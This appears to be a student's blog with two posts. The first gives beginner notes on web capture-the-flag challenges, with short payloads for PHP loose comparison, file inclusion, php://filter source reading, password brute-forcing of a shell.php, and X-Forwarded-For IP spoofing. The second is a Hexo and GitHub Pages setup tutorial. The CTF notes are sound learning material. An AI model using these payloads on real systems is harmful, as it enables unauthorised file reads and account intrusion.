最简单的类型,直接查看网页源码得知很多信息,可以在直接修改网页东西(web2)新手基本只能自己做的就是这种题型。基本上都包含其他的知识点一起出题,能直接得到flag的极少。需要具备的能力是看懂各种加密后的代码。

例子:

web1:直接查看。

web2:查看后修改限制值。

web6:查看后Unicode解码。

web13:查看后发现下面断开的代码,合上后用url解码

(2)发送http请求

考点:get/post传参,php函数,php弱比较,文件包含漏洞等

是相对很难的题型,需要具备的能力是基本认识url,html,php,JavaScript,python等多种语言,读懂代码后才能做题。现在是刚接触,未了解到这些语言各种的应用,做起来很吃力很懵逼。而且有非常多的题目都是这种题型。

例子:

web3:get传参。读代码后知道,**?what=flag**

web4:post传参。使用hackbar直接传参。

web5:php弱比较。读代码后,由“if($num==1)”知道了这是php弱比较,逻辑矛盾即可。所以用%00截断, ?num=1%00 其实后面跟一个不是数字的也得。

web8:文件包含。读代码。发现var_dump(),file()函数,还有include,属于php包含。

image-20210125212546874

image-20210125212916480

image-20210125211944681

由于不会直接看题解

image-20210120010319644

request直接可以用get传参 ?hello=file(‘flag.php’) .

web9:刚刚来以为类似web8,所以我用web8的方法直接传参失败了,其实也是新的东西。查看题解。

image-20210125213400738

思路就是,把单个变量变成全局变量调用就看见了。

image-20210125213832278

web14:看源码抓包啥也没有,直接看题解说用到php://filter读取文件后直接构造payload。**?file=php://filter/read=convert.base64-encode/resource=index.php**

image-20210125215900875

image-20210125220019199

(3)用工具

web7:抓包,不断发送请求,就能看到了。

web10:抓包,发送后直接查看响应头有flag(真·头等舱)

web11:抓包没东西,直接看题解说用御剑后台扫描,扫出一个shell.php

直接打开发现是需要密码,用bp抓包爆破。密码是hack(不晓得为什么我爆不出来,今后再尝试)

web12:看源码找到一串bas64,解码得test123觉得就是密码,根据题目猜用户名是admin,但是这一步完了登不上去,ip禁止访问。然后看题解得知要用bp伪造ip !

XFF(X-Forwarded-For)改一下,一弄就看见flag了。

image-20210125215318443

具体过程

参考文献:https://segmentfault.com/a/1190000016712646

https://segmentfault.com/a/1190000017986794

钉钉群b站视频

1 准备

安装环境

注册GitHub账号,安装node,git。

2 搭建仓库

GitHub里找到新建库 库名为username.github.io

可以点进确定的网址测试看看自己的网站是否成功创建 。

3 配置SSH key

使用ssh key来解决本地和服务器的连接问题

1
2
$ cd ~/. ssh #检查本机已存在的ssh密钥
ssh-keygen -t rsa -C "邮件地址"

然后连续3次回车,最终会生成一个文件在用户目录下,打开用户目录,找到.ssh\id_rsa.pub文件,记事本打开并复制里面的内容,打开你的github主页,进入个人设置 -> SSH and GPG keys -> New SSH key:

将刚复制的内容粘贴到key那里。

3.1 测试

1
$ ssh -T git@github.com # 注意邮箱地址不用改

如果提示Are you sure you want to continue connecting (yes/no)?,输入yes,然后会看到:

1
Hi C0ldSt0ne! You've successfully authenticated, but GitHub does not provide shell access.

看到这个信息说明SSH已配置成功!

4 使用hexo写blog

使用git bash来执行相关hexo命令。

4.1 安装

在命令行直接安装,输入代码即可。

1
$ npm install -g hexo

创建博客根目录,我的是C:\users\godti\myBlog

(错了的话随时干掉这个根目录重创就行了)

1
2
$ cd /c/users/godti/myBlog/
$ hexo init

hexo会自动下载一些文件到这个目录

1
2
$ hexo g # 生成
$ hexo s # 启动服务

执行以上命令之后,hexo就会在public文件夹生成相关文件

hexo s是开启本地预览服务,打开浏览器访问 http://localhost:4000 即可看到内容

4.2 配置_config.yml

先安装一个插件

1
npm install hexo-deployer-git --save

配置_config.yml中有关deploy的部分:

1
2
deploy:
type: git

repo: 就是自己GitHub仓库的网址,防止打错直接复制。

1
branch: master

(冒号后面都要有空格否则失败)

4.3 写博客

定位到hexo根目录 执行命令

1
2
cd myBlog
hexo new '标题'

hexo会帮我们在_posts下生成相关md文件

我们只需要打开这个文件就可以开始写博客了

可以用typora ,很香。

写好之后 hexo g生成博客。

4.4 上传

hexo d直接搞定上传

查看就直接登录自己的GitHub仓库的网址就可以直接查看到自己的博客,不需要在hexo s打开localhost:4000访问。

感想

emmm第一次感觉写博客如此复杂。参照了b站视频以及文本教程安装了hexo及其环境,就是需要安装node和git,然后才能完好地安装hexo。随后就是可以把它推到GitHub上了,以后直接访问GitHub就可以查看自己的文章了。总的来说,一切操作跟视频和文本教程走很轻松就完成,今后还要熟练地查文章和写自己的博客。